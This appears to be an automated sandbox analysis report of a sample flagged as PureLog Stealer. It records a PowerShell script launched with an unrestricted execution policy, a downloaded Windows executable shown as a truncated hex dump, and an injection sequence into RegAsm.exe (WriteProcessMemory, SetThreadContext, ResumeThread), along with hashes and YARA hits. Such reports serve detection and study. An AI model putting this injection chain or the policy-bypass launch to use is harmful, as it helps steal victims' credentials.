Sep 25, 2024 14:49:33.016813993 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 12:49:32 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 12 Aug 2024 11:55:19 GMT ETag: "a7000-61f7b2acc379e" Accept-Ranges: bytes Content-Length: 684032 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 6a 65 30 a0 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 30 00 00 62 0a 00 00 0c 00 00 00 00 00 00 8e 81 0a 00 00 20 00 00 00 a0 0a 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 0a 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 40 81 0a 00 4b 00 00 00 00 a0 0a 00 34 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 0a 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELje00b @ @@K4 H.texta b `.rsrc4d@@.relocn@BpH0Np@&.(((e(0s~%:&~+s%(+o8[o%F~(%G~(%H~(%e~(~(o8(ss@~}~s(o}{I~(o9I~(8C~(o:{~(8{~(

Target ID:	0
Start time:	08:49:28
Start date:	25/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\TST.ps1"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RUNPE, Description: Yara detected RUNPE, Source: 00000000.00000002.2236665088.000002C3EF2E0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RUNPE, Description: Yara detected RUNPE, Source: 00000000.00000002.2206077558.000002C3D70F0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RUNPE, Description: Yara detected RUNPE, Source: 00000000.00000002.2206077558.000002C3D84A6000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RUNPE, Description: Yara detected RUNPE, Source: 00000000.00000002.2206077558.000002C3D84B3000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.2229665328.000002C3E6FA8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.2229665328.000002C3E6D1F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	08:49:28
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:49:33
Start date:	25/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xe00000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000003.00000002.2213531087.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	08:49:33
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	08:49:33
Start date:	25/09/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	5.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	12
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD34668877 Relevance: 1.9, APIs: 1, Instructions: 364
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32 ref: 00007FFD34668B9C

Memory Dump Source

Source File: 00000000.00000002.2237323868.00007FFD34660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34660000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: e490c0e4439c43d260be9d6e9711907c0cceede0600a41ca03b6938e9036b1b3
Instruction ID: a2fee526dea976a7618bf719875db83f678c4a968fe88bf05d307181f469cd56
Opcode Fuzzy Hash: e490c0e4439c43d260be9d6e9711907c0cceede0600a41ca03b6938e9036b1b3
Instruction Fuzzy Hash: 02C18230A18A8D4FDB75EF28C8967E977E1FF59311F10422ADC4DC7291DE78A9418B82

Function 00007FFD346684A4 Relevance: 1.6, APIs: 1, Instructions: 148
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32 ref: 00007FFD34668595

Memory Dump Source

Source File: 00000000.00000002.2237323868.00007FFD34660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34660000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 9195c602c019d19abc9548073151f699a79f2013d84951a76ee3ee75366a8903
Instruction ID: 95de83c4ed73be3e5a2eedd81fee3a32413470af0bac14a3ae74cbd79804056f
Opcode Fuzzy Hash: 9195c602c019d19abc9548073151f699a79f2013d84951a76ee3ee75366a8903
Instruction Fuzzy Hash: E141D73190DB5C4FDB289F9898556EDBBE1EB55320F00426FE489D3292DE78A845C782

Function 00007FFD34668298 Relevance: 1.6, APIs: 1, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32 ref: 00007FFD34668354

Memory Dump Source

Source File: 00000000.00000002.2237323868.00007FFD34660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34660000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 96d56ab7e01e18217df258c5c34c22f6b8e550966dc85c27bddcbbc81af22245
Instruction ID: ca8cca166bde869595fdad6d7f102d0ed4a42745f06b12369107bd28bd8756c3
Opcode Fuzzy Hash: 96d56ab7e01e18217df258c5c34c22f6b8e550966dc85c27bddcbbc81af22245
Instruction Fuzzy Hash: 47310331D0CB584FDB299FA898566FABBE5EF56321F04423FD04AD3192DF78A8058781

Function 00007FFD3466819D Relevance: 1.6, APIs: 1, Instructions: 117
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNEL32 ref: 00007FFD34668257

Memory Dump Source

Source File: 00000000.00000002.2237323868.00007FFD34660000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34660000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: a664c224e898c2e08aeb252d12a887d9a34065caefba8a98b4ac455d98f28553
Instruction ID: 15c8ff3ee5e9ed2eca9ee98975b29bb82a5262db5c7fef86984698b693cc23d8
Opcode Fuzzy Hash: a664c224e898c2e08aeb252d12a887d9a34065caefba8a98b4ac455d98f28553
Instruction Fuzzy Hash: 4331F83190D7894FDB5ADBB888566E9BFE0EF57320F0442ABD089C7193DA785405CB51

Function 00007FFD34733235 Relevance: .3, Instructions: 279
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2237902686.00007FFD34730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34730000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e6e447a493f0ab919f7fb719616b89cc8c4810b4cc4898320df264e03c42549
Instruction ID: 72cae008eebda4bf20062e7ea1ef6b1a4c5495d21390af8e6c7dd9b7fafa8880
Opcode Fuzzy Hash: 8e6e447a493f0ab919f7fb719616b89cc8c4810b4cc4898320df264e03c42549
Instruction Fuzzy Hash: 928146A2F0DA8A4FE7B6966808B51757BD1EF56210B2C41BAD14DC72D3DD0CBC0593C1

Function 00007FFD34730548 Relevance: .3, Instructions: 260
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2237902686.00007FFD34730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34730000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2816ad3f9e2eafac5ecd5c9b5597771ac9b3d879708e48baaecbcf5855bf4e3
Instruction ID: 570dbe56c4542ddd16bbff063fe7f91a64877a8d47b93eb7b134280d72bfcc75
Opcode Fuzzy Hash: d2816ad3f9e2eafac5ecd5c9b5597771ac9b3d879708e48baaecbcf5855bf4e3
Instruction Fuzzy Hash: C0712772B0DAC98FEB959A6C48B85B57BE0EF96210B2800BBD18DD7197DD19BC05C3C1

Function 00007FFD347332BA Relevance: .1, Instructions: 142
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2237902686.00007FFD34730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34730000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52196eef5c712c63bcac0c165d1c035748870e4a689c07d87865ca67648da8d7
Instruction ID: 4d13d35f957ae12d13f8d1861583b6e1f227ba23e355d361d0b912fb80ed087a
Opcode Fuzzy Hash: 52196eef5c712c63bcac0c165d1c035748870e4a689c07d87865ca67648da8d7
Instruction Fuzzy Hash: 5A41E393F0EA874BF7B6966804B5178B7C1EF9225076C41BAD24EC72E3DD0DB80162C1

Function 00007FFD3473365D Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2237902686.00007FFD34730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34730000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7107b1dd97a5e640d14bf767a4f9cff85271385442af0f7d1fdeb91fa9d6dcd6
Instruction ID: c64e99d08b5c37284c4eaba4e7360d6acab0704a7d8db06411e0c4af94a3345d
Opcode Fuzzy Hash: 7107b1dd97a5e640d14bf767a4f9cff85271385442af0f7d1fdeb91fa9d6dcd6
Instruction Fuzzy Hash: B9F02453F4DA599FFBB0A16C24B92F46281DF66520B1801B6D54EC3382EC086C1103C0

Analysis Process: RegAsm.exePID: 1952, Parent PID: 6324COMMON

Execution Graph

Execution Coverage:	17.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	557
Total number of Limit Nodes:	42

Executed Functions

Function 01453841 Relevance: 2.3, Strings: 1, Instructions: 1073COMMON

Download Yara Rule

Strings

2, xrefs: 0145438D

Memory Dump Source

Source File: 00000003.00000002.2215899520.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1450000_RegAsm.jbxd

Similarity

API ID:
String ID: 2
API String ID: 0-450215437
Opcode ID: 91eb8929a7bec6b5d40d384dfb6006a50a85c3bb257e9c0b137b334005f615dc
Instruction ID: ab8e51c24f7f6b93899d685f9e349ea4ee6daac003963d3d6d4a3eb1668ff1ab
Opcode Fuzzy Hash: 91eb8929a7bec6b5d40d384dfb6006a50a85c3bb257e9c0b137b334005f615dc
Instruction Fuzzy Hash: 4EC2A474A01229CFDB65CF69C984B9DBBF5BB89304F1081EAD909AB355DB309E85CF40

Function 01450ED8 Relevance: 1.0, Instructions: 974COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2215899520.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1450000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 147ed60aa078429f51b4bd91b8fe716d8be095f6c77a3fae0943b00816209332
Instruction ID: a89aa5c2be4ba5fe333aaec7b57ea1972ab8ecc07bcf5fc9276b0f194dd29d0b
Opcode Fuzzy Hash: 147ed60aa078429f51b4bd91b8fe716d8be095f6c77a3fae0943b00816209332
Instruction Fuzzy Hash: AEA29475E00228DFDB65CF69C984B99BBB2FF89304F1481E9D509AB265DB319E81CF40

Function 05A131C0 Relevance: .6, Instructions: 649COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2226261950.0000000005A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5a10000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46de1b1bac4731534617d1e9f10b8bd1607c672ad4a1bb3a8b0f6827f1ab99b5
Instruction ID: 396823e94ed00cf8d106479e888fc54a74c4d25320dfbb3ce7d976483aa14abe
Opcode Fuzzy Hash: 46de1b1bac4731534617d1e9f10b8bd1607c672ad4a1bb3a8b0f6827f1ab99b5
Instruction Fuzzy Hash: F8424070E042188FDF54EFA9C854BAEBBF2BF84300F14856AD80AAB385DB349D45CB55

Function 01454C01 Relevance: .5, Instructions: 471COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2215899520.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1450000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fdaa77c5e4ab497c257b1fc2047d8b4b729a68658854238f6e22f30bdd79980
Instruction ID: bb19561a3c4003723f1cbd11aa7529c638183223b561c796a3f620d4696e40bf
Opcode Fuzzy Hash: 1fdaa77c5e4ab497c257b1fc2047d8b4b729a68658854238f6e22f30bdd79980
Instruction Fuzzy Hash: A9329374A00229CFCB65DF28C984BA9BBB5FB49310F1581E9D90DAB355DB30AE81CF54

Function 05A70743 Relevance: .3, Instructions: 288COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2226583608.0000000005A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5a70000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 272fbb45e06eddc68ad9d3f6631489228f8d1777543bf3c87cc8094e0fb3d6c8
Instruction ID: 7e5334917de8d037419ee581e725cc844f5212cbd0582c5501d55e7410613ca4
Opcode Fuzzy Hash: 272fbb45e06eddc68ad9d3f6631489228f8d1777543bf3c87cc8094e0fb3d6c8
Instruction Fuzzy Hash: A1D1BE74E0521DCFDB24CF69D989BADBBF2BB49300F1090AAD859A7251DB709E85CF00

Function 05A136E9 Relevance: .3, Instructions: 277COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2226261950.0000000005A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5a10000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2659e68308b06e7f31debe42b0367347b7f82006d225b2015c7f9512e53b2c9
Instruction ID: 9bccfe3ec44cd1e73f93ef7375a235a20bccda62b07a1b8a3e81e967cba91112
Opcode Fuzzy Hash: f2659e68308b06e7f31debe42b0367347b7f82006d225b2015c7f9512e53b2c9
Instruction Fuzzy Hash: A4C15935E042588FCF15CFA5C984B9DBBF2BF89310F14C9AAD81AAB255DB30D984CB54

Function 01450E7F Relevance: .3, Instructions: 258COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2215899520.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1450000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea31a1e41f2c0a63841961549fa3aa25158ad6082584d5e9366f6c4816755cdf
Instruction ID: b99aaabed9571531a361e24f79a18b885354fd0fd4b9a866619451a8e0b8b937
Opcode Fuzzy Hash: ea31a1e41f2c0a63841961549fa3aa25158ad6082584d5e9366f6c4816755cdf
Instruction Fuzzy Hash: BAC18475E006198FDB68DF6AD9447DEBBF2BF89300F14C1AAD809A7265DB305A85CF40

Function 05A71FF0 Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2226583608.0000000005A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5a70000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c761b82659d94f2fe25f3f7890a2f3c9136017f00cebe45b94d636767b9120c
Instruction ID: 6d95c6eece70ff19fb80c1cadb1a1f41187b19f6968a232800343a4e181e8b49
Opcode Fuzzy Hash: 2c761b82659d94f2fe25f3f7890a2f3c9136017f00cebe45b94d636767b9120c
Instruction Fuzzy Hash: 37A1E178D0421CCFDB24CFAAC848BADBBB6FF49300F1090AAD51AA7255DB745986CF11

Function 01450EC8 Relevance: .2, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2215899520.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1450000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5fb9c1d1ec97b383bc98a83a44ed3fabba0c9b555c4b24566c3956efb11488d
Instruction ID: c5ec50618d3e27627726eb444aa8fdafb99dd7789b8e70d42e0fa2e2ac1452fd
Opcode Fuzzy Hash: c5fb9c1d1ec97b383bc98a83a44ed3fabba0c9b555c4b24566c3956efb11488d
Instruction Fuzzy Hash: 77B16575E006198FDB68DF6AC9447DEBBF2BF89300F14C1AAD809A7265DB315A85CF40

Function 05A71FE1 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2226583608.0000000005A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5a70000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c80cca6ed886587d843cc9b7c2265f7eef118a58802e5329b5b42520e7b89c3b
Instruction ID: 45e342eceab5abd65eefdb10fb1663669633952ef5e80431d33aec19cea3afd1
Opcode Fuzzy Hash: c80cca6ed886587d843cc9b7c2265f7eef118a58802e5329b5b42520e7b89c3b
Instruction Fuzzy Hash: B3A1E078D0421CCFDB24CFAAD944BADBBF2BF49300F1090AAD51AA7255DB745986CF11

Function 014507ED Relevance: .2, Instructions: 221COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2215899520.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1450000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbbc1279eda544c284bf6a4d2d95931b5f07675ed352e16056eaad2cd76d86b7
Instruction ID: 8690edf80e238928fc032687d3357b8de1a1d9bcc0516613e26de6191db7a67a
Opcode Fuzzy Hash: dbbc1279eda544c284bf6a4d2d95931b5f07675ed352e16056eaad2cd76d86b7
Instruction Fuzzy Hash: C4917870A04249CFDB49DF6AE85469ABFF2FF85300F04C16EC4159B2A9EF784846CB55

Function 056C3420 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 056C349E
GetCurrentThread.KERNEL32 ref: 056C34DB
GetCurrentProcess.KERNEL32 ref: 056C3518
GetCurrentThreadId.KERNEL32 ref: 056C3571

Memory Dump Source

Source File: 00000003.00000002.2224955481.00000000056C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_56c0000_RegAsm.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 445d84fecd113ee92b7265fff3ed739e122fd91d97ab40ffe269e9f13ab57b21
Instruction ID: 09df9b5386aea9519f98d9d84948ea5026f3efc5971a1d57becaaa0900649523
Opcode Fuzzy Hash: 445d84fecd113ee92b7265fff3ed739e122fd91d97ab40ffe269e9f13ab57b21
Instruction Fuzzy Hash: ED5133B0A0074A8FDB54CFAAD548BAEBFF1EF88314F24C459E409A7350DB749944CB65

Function 056C3411 Relevance: 6.1, APIs: 4, Instructions: 127
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 056C349E
GetCurrentThread.KERNEL32 ref: 056C34DB
GetCurrentProcess.KERNEL32 ref: 056C3518
GetCurrentThreadId.KERNEL32 ref: 056C3571

Memory Dump Source

Source File: 00000003.00000002.2224955481.00000000056C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_56c0000_RegAsm.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 7824aa8076d60b250b31ff50d57d97642275ce6dd77b5269da20540a684bacdd
Instruction ID: 10a4cb35f1248d78e66617945bbde76e335e49b31bf928c3c893dcf80e49d68a
Opcode Fuzzy Hash: 7824aa8076d60b250b31ff50d57d97642275ce6dd77b5269da20540a684bacdd
Instruction Fuzzy Hash: 455145B090074A8FDB44CFA9D548BAEBFF1EB88314F20C49DD409A7350CB749944CB65

Function 056C1188 Relevance: 1.7, APIs: 1, Instructions: 193COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 056C13DE

Memory Dump Source

Source File: 00000003.00000002.2224955481.00000000056C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_56c0000_RegAsm.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 10bee95a33dafe9a360e94bbcd5b5a27704d50a1836a17f6789f18e1dc2497df
Instruction ID: f8cb06c45de60049b23d3094fc2b602ccd536ba4bd67708762314dc4174e9eef
Opcode Fuzzy Hash: 10bee95a33dafe9a360e94bbcd5b5a27704d50a1836a17f6789f18e1dc2497df
Instruction Fuzzy Hash: 97714374A00B058FDB24DF69D05476ABBF2FF89204F008A6DD45AD7B40DB78E845CB90

Function 056C7BF0 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 056C7D02

Memory Dump Source

Source File: 00000003.00000002.2224955481.00000000056C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_56c0000_RegAsm.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 231af040e33b41c9365a6f4f63d985b8745def60b42f7243fedcce73d5d3f0bd
Instruction ID: 7da33d234650a5c729236f6733a2b069f8358dda7645b3c4f7e06f6d5b99bea2
Opcode Fuzzy Hash: 231af040e33b41c9365a6f4f63d985b8745def60b42f7243fedcce73d5d3f0bd
Instruction Fuzzy Hash: D8419DB1D002499FDB14CF99C884AEEBFB5FF48310F24856EE819AB210D774A945CF90

Function 056C7BE4 Relevance: 1.6, APIs: 1, Instructions: 112COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 056C7D02

Memory Dump Source

Source File: 00000003.00000002.2224955481.00000000056C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_56c0000_RegAsm.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: f9cd7c00e6bc656c25523f05bab26462cd4458e0e1c8aea39930ad5bae68c18a
Instruction ID: d5a9eca9ad40dc27a8d6aba9b9361fcf11dc77609e70e3e7cf87637a1847678e
Opcode Fuzzy Hash: f9cd7c00e6bc656c25523f05bab26462cd4458e0e1c8aea39930ad5bae68c18a
Instruction Fuzzy Hash: B441FFB5D003499FDB14CFA9C880AEDBFB1EF48310F24955EE819AB250D775A945CF90

Function 056C7154 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 056CA281

Memory Dump Source

Source File: 00000003.00000002.2224955481.00000000056C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_56c0000_RegAsm.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 4c184f4f229f0782b810491df38a5c0d9577250754fc9d11cb73514c5fe7e680
Instruction ID: 1fa1733d620eebe1d95c4a4908fae630c0808091d814ef8f135cfe824305cf1c
Opcode Fuzzy Hash: 4c184f4f229f0782b810491df38a5c0d9577250754fc9d11cb73514c5fe7e680
Instruction Fuzzy Hash: 144119B5A00319CFDB14CF99C448AAABFF5FF88314F28849DE519A7321D775A841CBA0

Function 0145A724 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 0145BFD1

Memory Dump Source

Source File: 00000003.00000002.2215899520.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1450000_RegAsm.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 9b561849df6e3a0f416ffc69a5b64eb8d0851689bd098ddc5f4766b0f32a3276
Instruction ID: 508844aa04434cf146642537534c81f24fa50b6fdfb065f711ebd41302bbdc78
Opcode Fuzzy Hash: 9b561849df6e3a0f416ffc69a5b64eb8d0851689bd098ddc5f4766b0f32a3276
Instruction Fuzzy Hash: 5C41DFB1C0071DCBDB64CFA9C984B9EBBB5BF49704F20806AD908BB251DBB56945CF90

Function 0145BF14 Relevance: 1.6, APIs: 1, Instructions: 94COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 0145BFD1

Memory Dump Source

Source File: 00000003.00000002.2215899520.0000000001450000.00000040.00000800.00020000.00000000.sdmp, Offset: 01450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1450000_RegAsm.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 85feefe25cd3b2e45c989d5517e1e3106ed989d7ab3d7baf7126e1cbabe4e3ee
